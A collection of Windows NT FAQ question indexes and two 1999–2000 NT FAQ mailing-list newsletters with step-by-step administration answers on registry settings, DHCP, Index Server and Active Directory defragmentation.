  • How do I configure a user so they can change the system time?
  • How do I add a user?
  • How do I configure roaming profiles?
  • How can I configure each user to have a different screen resolution?
  • How can I create a list of all User Accounts?
  • How can I add a user from the command line?
  • How can I move users from one machine to another?
  • How can I configure a user to logoff at a certain time?
  • How can I grant User Rights from the command line?
  • How can I configure the system so all users share a common favourites folder?
  • How can I change the local Administrator passwords on machines without going to them?
  • How do I change my password?
  • How can I configure default settings for new users?
  • How can I tell which User has which SID?
  • How can I configure NT to not allow users to login if their mandatory profile is unavailable?
  • How do I automatically logoff clients after n minutes of inactivity?
  • How can I modify the size of icons on the desktop?
  • How can I disable Alt-Tab?
  • How can I configure the Alt-Tab display?
  • How can I edit the list of connections listed in Explorer when I map a connection?
  • How can I exclude the Temporary Internet Files folder from the user profile?
  • How can I stop the programs in my start-up folders running when I log on?
  • I can't delete user x.
  • How can I stop users from being able to map/disconnect network drives?
  • How can I disable a whole group of users?
  • How can I remove a user from a group from the command prompt?
  • How can I remove the : from the time?
  • How can I rename a user from the command prompt?
  • Roaming profiles are not saved to the server.
  • I have made user shares hidden now connection fails.
  • How can I disable the Display control panel applet?
  • How can I disable elements of the Display control panel applet?
  • How do I debug roaming profiles?
  • How can I copy a user profile?
  • What are the differences between NT and 9x profiles?
  • When I log off all my home directory files are deleted.
  • How can I delete a local profile?
  • Copy profile locally problems.
  • Defining the profile area to use for a user.
  • How can I view which local groups on a trusting domain a user belongs to?
  • How do I limit user profile space?
  • I can't logoff as my user profile quota is over the limit.
  • How do I grant user rights in Windows 2000? - Windows 2000 only
  • How can I logoff from the command prompt?
  • Where is User Manager for Domains in Windows 2000? - Windows 2000 only
  • How do I administer domain users in Windows 2000? - Windows 2000 only
  • How do I remove the Goto menu from Explorer?
  • How do I rename a global group?
  • Global groups over 20 characters create problems, why?
  • How can I disable the "Logon Using Dial-Up Networking" at logon time?
  • How can I stop a user closing the login script before it completes?
  • How can I configure a screen saver using a System Policy?
  • How can I tell at what time I logged on?
  • How can I stop certain folders being replicated as part of the user profile?
  • How can I generate a list of last user logon times for a domain?
  • How can I stop users creating persistent connections?
  • How can I map a drive/port for all new users on a machine without scripts etc?
  • I'm not given a warning if logged on using cached credentials in Windows 2000.
  • How do I manually delegate authority in Windows 2000?
  • How do I delegate authority in Windows 2000 using the Wizard?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Utilities

Utilities

  • Where can I find the resource kit?
  • How do I run an application as a service?
  • How can I shutdown a computer remotely?
  • Where can I find a Unix su (substitute user) like utility?
  • I'm running NT on Alpha - Can I run INTEL programs?
  • What is TWEAKUI?
  • What else is good?
  • Do Windows 95 Powertoys work in NT?
  • Is there a X-terminal for NT?
  • Where is File Manager?
  • Where do I get Themes for NT?
  • Where can I get UNIX tools for NT?
  • How can I fix/replace/copy files on an NTFS partition from outside Windows NT?
  • What are the "Windows NT Support Tools"?
  • How do I load the RKILLSRV.EXE?
  • Where is File Manager in Windows 2000?
  • What is the Microsoft Management Console (MMC)?
  • How do I create a custom MMC configuration?
  • Where is X from NT 4.0 in Windows 2000?
  • How can I synchronize accounts between NT and Unix?
  • How can I add Open with Run Dialog to the context menu?
  • What is MSINFO32.EXE?
  • How can I uninstall IIS 4.0 and Option Pack 4?
  • How can I run a program as another user in Windows 2000?
  • Where is SCOPY in Windows 2000?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Various

Various

  • What is SAMBA?
  • Why does the disk spanning function of PKZIP (command line version) not work under NT?
  • What virus killers are available for NT 4.0?
  • Does NT support the LS120 (adrive)?
  • Is NT year 2000 compliant?
  • What does x stand for?
  • What are the shortcuts available with the "Win" key?
  • How can I open a file with an application, other than the one it is associated with?
  • How do I change the icon associated with a short cut?
  • Is it possible to map a drive letter to a directory?
  • What keyboard shortcuts are available?
  • How do I schedule commands?
  • What are the long path names in the boot.ini file?
  • How can I execute a batch file using WINAT with Administrator Permissions?
  • I have 95 and NT installed, how can I configure the applications to run on both?
  • How can I stop and start services from the command line?
  • How do I delete a Service?
  • What is USER.DMP?
  • How in Notepad can I save a file without the .txt extension?
  • How can I move shares and their contents from one machine to another?
  • How do I create a shortcut on the desktop to a directory/disk?
  • How can I create a spare set of Windows95 disks?
  • What FAX software is available for Windows NT?
  • How can I delete files that are over x days old?
  • How can I speed up the performance of my OS/2 applications?
  • How can I install a font from the command line/batch file?
  • Information about Time Zones and daylight saving.
  • What are the ErrorControl, Start and Type values under the Services subkeys?
  • How do I type the Euro (€) symbol?
  • What is the Melissa/Papa virus?
  • How can I show the context menu without the right mouse button?
  • How can I check if a Virus warning is real or a hoax?
  • What DO those smileys mean :-)?
  • What DO those acronyms mean in mail messages <NIFOC> <HHOJ>?
  • How do you edit the list of local and toll numbers for a dialing location?
  • What is ExploreZip.worm and what should I do?
  • How can I move a dialog/window using just the keyboard?
  • How can I extract files from a CAB file?
  • Where is USRMGR.EXE in NT Workstation?
  • What are the Event Viewer login codes?
  • What is Opportunist locking?
  • How can I convert a binary number to hexadecimal?
  • What switches can be used with explorer.exe?
  • Where are files in the Recycle bin actually stored?
  • My recycle bin is corrupt?
  • What is the bubbleboy virus?
  • What is the OEM version of NT/2000?
  • How can I check DLL versions on my system?
  • How can I talk to a serial (COM) port from the command line/batch file?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Windows 9x

Windows 95/98 as a client

  • How do I communicate with a Windows 95 client?
  • How can I administer my domain from a Windows95 client?
  • How do I force a 95 machine to logon to a domain?
  • How do I enable Windows 9x machines to use Group policies?
  • How do I enable Load Balancing on a Windows 95 machine?
  • How can I stop a Windows 95 machine acting as a browse master or backup browser?
  • Some of the Windows 95/98 clients do not show up in Network Neighborhood.
  • How can I stop my Windows 9x clients entering a separate password when logging onto a domain?
  • How do I enable profiles on a Windows 9x machine?
  • How do I enable roaming profiles for Windows 9x machines?
  • Can Windows NT and Windows 9x share a roaming profile?
  • How do I install the Windows 9x Policy Editor?
  • How can I stop Windows 9x profiles being copied to the home directory?
  • How do I implement local system policies on Windows 9x?
  • I have lost my Windows 98 installation key, how can I find it?
  • How do I install the Windows 9x directory services client?
  • A user has forgotten the local Windows 9x password, how can it be reset?
  • How do I enable remote registry editing for Windows 9x clients?
  • How do I connect a Windows 95 to NT using a null modem cable?
  • My Windows 9x clients cannot see shares over 12 characters.
  • How do I enable NTLM 2.0 support in Windows 98?
  • How can I fool a program into thinking my Windows 9x installation is Windows 3.11?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - WINS

WINS

  • What is WINS?
  • How does WINS work?
  • How do I set up WINS?
  • What is a WINS Proxy Agent?
  • How do I configure WINS static entries for a non-WINS client?
  • How do I configure WINS to work with DHCP?
  • How can I compress my WINS database?
  • WINS Automatic Backup does not run every 3 hours.
  • WINS Log files are created in incorrect locations.
  • WINS server is not being queried for entries in LMHOSTS after Service Pack 4.
  • My WINS clients have stopped registering/querying the WINS server.

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


Windows NT FAQ - Windows Scripting Host

Windows Scripting Host

  • What is the Windows Scripting Host?
  • Where can I get the Windows Scripting Host?
  • How do I install the Windows Scripting Host software?
  • Where can I get more information on WSH?
  • How do I create a new user in NT using ADSI?
  • How do I run a windows script from the command line?
  • How do I run a DOS command in WSH?
  • How do I rename a file using WSH?

This FAQ is copyright © 1999 John Savill (SavillTech Ltd). No part of this document should be reproduced, distributed or altered without my written permission. Contact Information.


From: John Savill [john@savilltech.com] Sent: 01 February 2000 20:44 To: NTFAQ Mailing List Subject: ** NT FAQ, 1 Feb 2000 ** All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: IntelliPoint 3.1 release which runs on Windows 2000. http://www.microsoft.com/products/hardware/mouse/driver/drivers_pc.htm From the latest Microsoft Direct Access newsletter, fame at last :-) "ORDER A "WINDOWS NT AND WINDOWS 2000 ANSWER BOOK" AT THE BOOKSTORE! This great resource includes chapters on troubleshooting, the Registry, domain management, IP addressing, remote access, printing, batch files and scripting, security, performance, administering Windows 95/98 workstations, and even Internet Information Server and Microsoft Exchange. Receive an additional 10% off this title by entering MSDIRECT in the discount code field on the checkout page. http://www.microsoft.com/directaccess/rdr/2000/01/0131/books.asp" New additions last week: Q. Where are the Dr Watson logs in Windows 2000? Q. How can I move an Outlook Personal Address Book on a Mac to a PC? Q. What are the upgrade paths for Windows 2000? Q. I get a BSOD of death, SYSTEM_LICENSE_VIOLATION, what did I do? Q. I'm not given a warning if logged on using cached credentials in Windows 2000. ------------------------------------------------------ Q. Where are the Dr Watson logs in Windows 2000? A. Windows 2000 includes version 5 of Dr Watson (DRWTSN32.EXE) which has relocated the log and user dump location to the %systemdrive%\Documents and Settings\All Users\Documents\DrWatson. This can be changed by starting drwtsn32.exe and modifying the locations. These locations can also be changed by directly editing the registry: Start the registry editor (regedit.exe) Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DrWatson From the Edit menu select New - String Value Enter a name of CrashDumpFile if you want to set the crash dump file name and location or LogFilePath to set the location of the log file. Press Enter Double click the new value and set to the required location/file name. Click OK Close the registry editor -------------------------------------------------------------------------------- Q. How can I move an Outlook Personal Address Book on a Mac to a PC? A. This can be done by having the user create a message and address it to all the members of their Personal Address Book. DO NOT SEND THE MESSAGE. Close the message and save it to the Inbox. When the user connects to their mailbox the PC will have them open the message and then right click on the addresses of the message and add them to the contacts. This only works for single addresses and will not work for personal DLs. -------------------------------------------------------------------------------- Q. What are the upgrade paths for Windows 2000? A. In some ways they are stricter than NT 4.0 when you consider that you used to be able to upgrade from NT Workstation to NT Server (but not to a PDC or BDC) but this is not possible in Windows 2000. Windows 2000 gives better upgrade paths from the Windows 9x operating systems. The upgrade paths you can perform are: Windows NT Workstation -> Windows 2000 Professional Windows NT Server -> Windows 2000 Server, Advanced Server, Datacenter Windows 2000 Advanced Server -> Windows 2000 Datacenter You cannot perform the following upgrades: Windows NT Workstation -> Windows 2000 Server, Advanced Server, Datacenter Windows 2000 Professional -> Windows 2000 Server, Advanced Server, Datacenter Windows 2000 Server -> Windows 2000 Advanced Server, Windows 2000 Datacenter -------------------------------------------------------------------------------- Q. I get a BSOD of death, SYSTEM_LICENSE_VIOLATION, what did I do? A. Stop hacking! I've seen this when I was experimenting and tried to modify the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions\ProductSuite value to test a program I was writing and it just crashed the OS! I think it could have just displayed a warning but Microsoft decided to teach us a lesson :-) If you are not changing keys and still get this crash, check any programs you might have running which may be trying to modify keys that it should not! -------------------------------------------------------------------------------- Q. I'm not given a warning if logged on using cached credentials in Windows 2000. A. In Windows NT 4.0 if you log on and no domain controller can be found you are logged on using cached information (assuming you have previously logged onto the machine). You are given a warning "A domain controller could not be contacted and you have been logged on using cached information". This warning is disabled by default in Windows 2000 but can be enabled by performing the following on each computer: Start the registry editor (Regedit.exe) Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon From the Edit menu select New - String Value Enter a name of ReportControllerMissing and press Enter Double click the new value and set to TRUE (must be uppercase). Click OK Now for each user who you wish to have controller missing message displayed perform the following: Start the registry editor (Regedit.exe) Move to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon From the Edit menu select New - DWORD Value Enter a name of ReportDC and press Enter Double click the new value and set to 1. Click OK You may want to automate this via a logon script or via a policy template. This warning was probably removed by default as most users would not understand the warning and just ignored it so be selective about re-enabling. -------------------------------------------------------------------------------- ------------ Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- Till next week, take care. John


From: John Savill [john@savilltech.com]
Sent: 01 June 1999 10:46
To: NTFAQ Mailing List
Subject: NT FAQ, 1 June 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

There are now 4 post Service Pack 5 hotfixes from ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-Postsp5:

RASFFIXI.EXE  /RAS-fix
PWDFIXI.EXE   /RASPassword-fix
RPWDFIXI.EXE  /RRASPassword-fix
WINHLP-I.EXE  /Winhlp32-fix

Standard items:

The NT FAQ book can now be reserved via Amazon.com and will be out in July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss/discuss.html

New additions last week:

Q. I receive error 'The catalog is corrupt' when performing an Index Server search, what can I do?
Q. How can I control who can eject ZIP disks? - Windows 2000
Q. How can I stop hidden files etc. being returned by Index Server queries?
Q. What DNS entries are added when a Windows 2000 domain is created?
Q. How do I use My Briefcase?
Q. How do I add a Network Install tab to Windows NT 4.0?
Q. How can I configure monitor power off for the logon screen? - Windows 2000
Q. How can I manually defragment the Active Directory? - Windows 2000 only
Q. How do I run a windows script from the command line?
Q. What registry settings control the DHCP log in Windows 2000?
Q. How do I authorize a DHCP server in Windows 2000?
Q. How do I create a DHCP scope in Windows 2000?
Q. How do I configure DHCP scope options in Windows 2000?
Q. How can I view DHCP address leases in Windows 2000?
Q. How do I change the DHCP address lease time in Windows 2000?

----------------------------------------------------------------------

Q. I receive error 'The catalog is corrupt' when performing an Index Server search, what can I do?

A. Index Server catalogs can be caused by unsafe computer shutdowns, system crashes, or applications that write to or lock the catalog files while Index Server is active.

Normally, Index Server attempts to fix any corruption automatically; however, sometimes it is necessary to manually fix the corruption.

To do manually fix the corruption, stop and restart the Content Index service, For Index 1.x, stop and restart the World Wide Web service, under Windows 2000 start the Computer Management MMC snap-in, expand 'Server Applications and Services', right click on 'Indexing Service' and stop then start.  This normally causes Index Server to rebuild the catalog.

If this does not work, stop Index Server again, locate the Catalog.wci folder, and delete the contents of the folder. This manually deletes the catalog. When you restart Index Server, the catalog is re-created.

This can also occur when a file is unfilterable and the Filter Retries is set to a number greater than 4. When this happens, the information that the filter process sends to the Content Index Service (CISVS) causes the CISVS to report that the in-memory catalog information is corrupt, even though the data on the drive is fine.

To correct set retry value to 4 or less:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex
3, Double click FilterRetries
4, Change to 4 or below and click OK
5, Restart Index Server

--------------------------------------------------------------------------------

Q. How can I control who can eject ZIP disks? - Windows 2000

A. Windows 2000 introduces a new registry key which allows you to configure who can eject ZIP disks:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
3, From the Edit menu select New - String Value
4, Enter a name of AllocateDASD and press Enter
5, Double click the new value and set to:
    0 = Admins only can eject
    1 = Admins and power users
    2 = Admins and the interactive user (this allows normal users)
6, Click OK
7, Close the registry editor
8, Reboot the computer

--------------------------------------------------------------------------------

Q. How can I stop hidden files etc. being returned by Index Server queries?

A. It is not possible to exclude an unreadable root or other file that is physically located below a readable root. A workaround is to append to the user’s restriction. For example, FrontPage roots can be removed by setting the CiRestriction in the .Idq file to the following:

CiRestriction=(%UserRestriction%) &! #vpath *-vti_*.

Its also possible to exclude certain files and combine, for example:

CiRestriction=%if FreeText eq on% $contents "%CiRestriction%" &! #vpath *\_vti_*. &! #filename *.|(txt|,hhc|,hlp|,htx|,tmp|) %else% %CiRestriction% &! #vpath *\_vti_*. &! #filename *.|(txt|,hhc|,hlp|,htx|,tmp|) %endif%

This will exclude the FrontPage specific files and any .txt, .hhc, .hlp, .htx and .tmp files.

--------------------------------------------------------------------------------

Q. What DNS entries are added when a Windows 2000 domain is created?

A. Windows 2000 domains rely heavily on DNS entries however the entries are created automatically providing you have enable dynamic update on the relevant DNS zones. Below are explanations of what the entries are used for:

_ldap._tcp.<DNSDomainName>
Allows a client to localte a Windows 2000 domain controller in the domain named by <DNSDomainName>. A client searching for a DC in domain savilltech.com would query the DNS server for _ldap._tcp.savilltech.com

_ldap._tcp.<SiteName>._sites.<DNSDomainName>
This allows a client to find a Windows 2000 domain controller in the Domain and site specified, e.g. _ldap._tcp.london._sites.savilltech.com for a DC in the London site of savilltech.com

_ldap._tcp.pdc._ms-dcs.<DNSDomainName>
Allows a client to find the Primary Domain Controller (PDC) FSMO role holder of a mixed-mode domain. Only the PDC of the domain registers this record.

_ldap._tcp.gc._msdcs.<DNSTreeName>
Allows a client to find a Global Catalog (GC) server. Only domain controllers serving as GC servers for the tree will register this name. Should a server cease to be a GC it will deregister the record.

_ldap._tcp.<site>._sites.gc._msdcs.<DNSTreeName>
Allows a client to find a Global Catalog (GC) server in the specified site, e.g. _ldap._tcp.london._sites.gc._msdcs.savilltech.com.

_ldap._tcp.<DomainGuid>.domains._msdcs.<DNSTreeName>
Allows a client to find a domain controller in a domain based on its Globally Unique IDentifier (GUID). A GUID is a 128-bit (8 byte) number this is generated automatically for referencing objects in the Active Directory.

<DNSDomainName>
Allows clients to find a Domain Controller by a normal Host record.

--------------------------------------------------------------------------------

Q. How do I use My Briefcase?

A. My Briefcase allows you to synchronize multiple copies of files and keeps track of changes such as modifications, additions and deletions.

The normal usage method is as follows:

1, Insert a floppy disk into your computer
2, Create a new briefcase on the disk (from Explorer select the drive, File - New - Briefcase). By default it will be called 'New Briefcase' but you can rename by selecting and pressing F2.
3, Copy the files from your hard disk to the new briefcase
4, You can now edit the files on the floppy to the hard disk. The files on the floppy can also be edited on other computers

To sync the folders after making any changes open the briefcase in Explorer and click the 'Update All' button or select from the briefcase menu. Any modifications will be displayed and you have the option to perform the actual update.

If you would actually like to be able to edit the files local on different machines then you should perform the following:

1, Insert a floppy disk
2, Move the files you wish to keep synchronized to the floppy disk
3, Create a briefcase on the local hard disk
4, Copy the files from the floppy to the local briefcase
5, Repeat steps 3 and 4 on the other machine

You would now edit the files locally from the briefcase folder which would be synchronized with the floppy disk. You would have two briefcases, one on each machine. To synchronize you would select Update All after selecting the briefcase on the hard disk and inserting the floppy disk with the original files on.

If two computers are connected via a network just create a briefcase on one machine which is accessible via a network share to the other and copy the files accordingly.

If you create a briefcase on a hard disk and wish to move to a floppy do NOT copy it, you must MOVE or the associations between the files will be lost.

--------------------------------------------------------------------------------

Q. How do I add a Network Install tab to Windows NT 4.0?

A. Windows 2000 provides built in ability to publish applications to users, groups of users and domains however some of this functionality is still possible with Windows NT 4.0.

It's possible to add a Network Install tab to the 4.0 based clients with a list of installable applications as follows:

Copy the file apps.inf from the %systemroot%\inf directory of a server to a network share on a server
Open the copied version of apps.inf and insert the lines in red (although your applications and their locations will be different)
[Version]
Signature = $Chicago$
ClassGUID={00000000-0000-0000-0000-000000000000}
LayoutFile = layout.inf

[appinstalllist]
Office 2000=\\titanic\Apps\off2000\setup.exe
Paint Shop Pro=\\titanic\Apps\psp\setup.exe

[PIF95]
123.COM=%123.COM%,moricons.dll,50,,123.COM
..
The clients need to be configured to look at the updated apps.inf file on the server by a registry update:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
3, From the Edit menu select New - String Value
4, Enter a name of AppInstallPath
5, Double click the new value and set to the location of the shares apps.inf file, e.g. \\titanic\inffiles\apps.inf
6, Close the registry editor

Starting the Add/Remove Programs control panel applet will now show a new Network Install tab.

Obviously editing the registry on every client will be time consuming and so if you implement system policies you can include this as part of the policy using the following .adm file:

CLASS MACHINE

 CATEGORY "Network Install"
  POLICY "Location of the Network install information"
   KEYNAME SOFTWARE\Microsoft\Windows\CurrentVersion
   PART "Locations" EDITTEXT
   VALUENAME "AppInstallPath"
   DEFAULT \\SERVER\INFSHARE\APPS.INF
   END PART
   PART "Create Network Install ability" TEXT END PART

  END POLICY
 END CATEGORY ;

--------------------------------------------------------------------------------

Q. How can I configure monitor power off for the logon screen? - Windows 2000

A. If you select the Screen Saver tab of the Desktop control panel applet you can configure Power saving settings which include powering off the monitor after x minutes. To enable the monitor to power off for the logon screen perform the following on each machine:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_USERS\.DEFAULT\Control Panel\Desktop
3, Double click PowerOffActive and set to 1. Click OK
4, Double click ScreenSaveActive and set to 1. Click OK
5, Double click SCRNSAVE.EXE (if present) and set to "(NONE)" (don't type the quotes). Click OK
6, Move to HKEY_USERS\.DEFAULT\Control Panel\PowerCfg
7, Double click CurrentPowerPolicy and set to 0 (the Home/Office Desk power setting configuration). Click OK
8, Close the registry editor
9, Reboot the machine

To change the settings such as monitor timeout change the settings on your local profile, export HKEY_CURRENT_USER\Control Panel\PowerCfg\PowerPolicies\0 to a file and import to HKEY_USERS\.DEFAULT\Control Panel\PowerCfg\PowerPolicies\0.

If you need to do this on lots of machines create an .adm file and set as part of the system policy.

--------------------------------------------------------------------------------

Q. How can I manually defragment the Active Directory? - Windows 2000 only

A. By default Windows 2000 servers running directory services will perform a directory online defragmentation every 12 hours (by default) as part of the garbage collection process. This defragmentation only moves data around the database file (NTDS.DIT) and does not reduce its size.

To create a new, smaller NTDS.DIT and offline defragmentation must be performed as follows:

Backup the Active Directory (as seen in 'Q. How can I backup the Active Directory/System State?')

Reboot the server, select the OS option and press F8 for advanced options. Select the 'Directory Services Restore Mode' option and press Enter. Press Enter again to start the operating system.

Windows 2000 will start in safe mode with no directory service running. Logon using the Administrator account and password if the LOCAL SAM.

A dialog informing you are in safe mode will be displayed. Click OK

From the Start menu select Run and type
CMD.EXE

A command window will be displayed. Type the words in red:
C:\> ntdsutil
ntdsutil: files
file maintenance: info
....
file maintenance: compact to c:\temp
The progress of the defragmentation will be shown. If successful type quit twice to return to the command prompt
Now replace the old NTDS.DIT with the new compressed version
C:\> copy c:\temp\ntds.dit %systemroot%\ntds\ntds.dit
Restart the computer and boot as normal
Below is an example of the entire procedure

Microsoft Windows 2000 [Version 5.00.2031]
(C) Copyright 1985-1999 Microsoft Corp.

D:\>ntdsutil
ntdsutil: files
file maintenance: info

Drive Information:

C:\ FAT (Fixed Drive ) free(1.2 Gb) total(1.9 Gb)
D:\ NTFS (Fixed Drive ) free(152.4 Mb) total(1.9 Gb)

DS Path Information:

Database : D:\WINNT\NTDS\ntds.dit - 8.1 Mb
Backup dir : D:\WINNT\NTDS\dsadata.bak
Working dir: D:\WINNT\NTDS
Log dir : D:\WINNT\NTDS - 30.0 Mb total
res2.log - 10.0 Mb
res1.log - 10.0 Mb
edb.log - 10.0 Mb
file maintenance: compact to c:\temp
Opening database [Current].
Using Temporary Path: C:\
Executing Command: D:\WINNT\system32\esentutl.exe /d "D:\WINNT\NTDS\ntds.dit" /
/o /l"D:\WINNT\NTDS" /s"D:\WINNT\NTDS" /t"c:\temp\ntds.dit" /!10240 /p

Initiating DEFRAGMENTATION mode...
Database: D:\WINNT\NTDS\ntds.dit
Log files: D:\WINNT\NTDS
System files: D:\WINNT\NTDS
Temp. Database: c:\temp\ntds.dit

Defragmentation Status ( % complete )

0 10 20 30 40 50 60 70 80 90 100
|----|----|----|----|----|----|----|----|----|----|
...................................................

Note:
It is recommended that you immediately perform a full backup
of this database. If you restore a backup made before the
defragmentation, the database will be rolled back to the state
it was in at the time of that backup.

Operation completed successfully in 17.896 seconds.

Spawned Process Exit code 0x0(0)

If compaction was successful you either need to
copy "c:\temp\ntds.dit" to "D:\WINNT\NTDS\ntds.dit"
or run:
D:\WINNT\system32\ntdsutil.exe files "set path DB \"c:\temp\"" quit quit
file maintenance: quit
ntdsutil: quit

D:\>copy c:\temp\ntds.dit %systemroot%\ntds\ntds.dit
Overwrite D:\WINNT\ntds\ntds.dit? (Yes/No/All): y
1 file(s) copied.

--------------------------------------------------------------------------------

Q. How do I run a windows script from the command line?

A. Normally when you run a windows scripting host file such as a visual basic or java script file from Explorer WSCRIPT.EXE is executed and runs the script using the necessary script plug-in.

To run from the command line use CSCRIPT.EXE which has a number of optional parameters as follows:

//B Batch mode: Suppresses script errors and prompts from displaying
//D Enable Active Debugging
//E:engine Use engine for executing script
//H:CScript Changes the default scripting host to CScript.exe
//H:WScript Changes the default scripting host to WScript.exe (default)
//I Interactive mode (default, opposite of //B)
//Job:xxxx Execute a WSC job
//Logo Display logo (default)
//Nologo Prevent logo display: No banner will be shown at execution time
//S Save current command line options for this user
//T:nn Time out in seconds: Maximum time a script is permitted to run
//X Execute script in debugger when Active Debugging enabled

Yes you need to type '/' twice.

Suppose you had the following hello.vbs file:

Wscript.Echo "Hello"
Wscript.Quit 0

You would run with command

C:\> cscipt hello.vbs

which would print Hello to the command window. Typing

C:\> wscript hello.vbs

would bring up Hello in a window.

--------------------------------------------------------------------------------

Q. What registry settings control the DHCP log in Windows 2000?

A. DHCP has always had auditing abilities for DHCP however these abilities have been expanded in 2000 to reduce problems CAUSED by the log files. These improvements will stop log files filling to take up whole partitions and cause system problems.

The following keys are all located under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DHCPServer\Parameters

Value Name 				Type 		Description
DhcpLogFilePath 			REG_SZ 	The partition and directory for the audit logs to be written to. Make sure you write the entire path
DhcpLogMinSpaceOnDisk 		REG_DWORD 	If free space falls below this number (in megabytes) audit logging is stopped
DhcpLogDiskSpaceCheckInterval REG_DWORD 	Number of times the audit log is written to before checking for free disk space
DhcpLogFileMaxSize 		REG_DWORD 	Maximum size in megabytes the logs can grow to. By default it is 7.

--------------------------------------------------------------------------------

Q. How do I authorize a DHCP server in Windows 2000?

A. Any user running Windows 2000 server could install the DHCP server service causing potential problems and so Windows 2000 adds the concept of authorizing the servers with the Active Directory before they can service client requests. If the server is not authorized in the Active Directory then the DHCP service will not be started.

To Authorize a server perform the following:

1, Logon as a member of the Enterprise Administrators group
2, Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
3, Select the DHCP root, right click and select 'Browse authorized servers'
4, A list of authorized DHCP servers will be displayed. Click Add
5, Enter the name or IP address of the DHCP server and click OK.
6, Click Close

The red arrow  over the DHCP server should now change to a green one  if you select refresh (it may take a few minutes).

--------------------------------------------------------------------------------

Q. How do I create a DHCP scope in Windows 2000?

A. A DHCP scope is a range of addresses that can be assigned to clients and can also optionally provide information about DNS servers, WINS etc.

DHCP scopes are configured using the DHCP MMC snap-in as follows:

1, Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
2, Right click on the server and select New - Scope from the context menu
3, The scope creation wizard will be started, click Next
4, Enter a name and comment for the scope. Click Next
5, Enter the address range to use, for example from 200.200.200.1 to 200.200.200.15 (remember the host part cannot be 0). Also enter the subnet mask as either the number of bits used or the actual mask, e.g. 24 is the same as 255.255.255.0. Click Next

You can specify addresses to be excluded either by range, e.g. 200.200.200.5 to 200.200.200.7 and click Add, or just enter a Start address and click Add, e.g. 200.200.200.12 to exclude a single address. Click Next

You can now configure the lease time for the address. Setting too large will mean you will lose the use of addresses if the client machine is inactive for long periods of time, too short and you will generate unnecessary traffic renewing the address. The default 8 days is fine. Click Next
The wizard gives the option to configure the most common DHCP options. Select Yes and click Next
Enter the address of the gateway, and click Add. You can enter several. Click Next when all are entered.
Enter the DNS domain, e.g. savilltech.com and the DNS server addresses. Click Next

Enter the WINS server addresses and click Add. Click Next
You will then be asked if you wish to activate the scope. Select your answer and click Next
Click Finish to the wizard
The new scope will now be listed and the status as either Active or Inactive.

If you selected to not activate the scope it can be manually activated by right clicking on the scope, select 'All Tasks' and select Activate. The activation is immediate. Likewise you can deactivate by selecting deactivate

--------------------------------------------------------------------------------

Q. How do I configure DHCP scope options in Windows 2000?

A. When you create a scope the more common options such as DNS and WINS servers can be configured but many more options are available.

1, Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
2, Expand the server
3, Expand the scope whose options you wish to modify
4, Select the 'Scope Options' branch and in the right hand window you will see the currently configured options.
5, Right click on 'Scope Options' and select 'Configure Options'
6, Select the Basic tab and you can configure other options by checking its box and entering the details. For example a Time Server, check '004 Time Server', enter an IP address and click Add.
 7, Click Apply. Click OK

The new option(s) will now show in the right hand window. You can change existing options by performing the above and selecting an item already configured and change the details in the Data entry area.

--------------------------------------------------------------------------------

Q. How can I view DHCP address leases in Windows 2000?

A. When a client is offered and accepts an IP address a 'lease' is created for x amount of days. To view current leases perform the following:

1, Start the DHCP MMC snap-in (Start - Programs - Administrative Tools - DHCP)
2, Expand the server
3, Expand the scope whose leases you wish to view
4, Select the 'Address Leases' branch and in the right hand window you will see the current lease details.

It will give details of the IP address, client name and the lease expiration date. Expired leases are also shown for approximately one day but have a dimmed icon. This grace period protects a client lease in the event of the client and server being in different time zones, clocks not synced or simply offline.

--------------------------------------------------------------------------------

Q. How do I change the DHCP address lease time in Windows 2000?

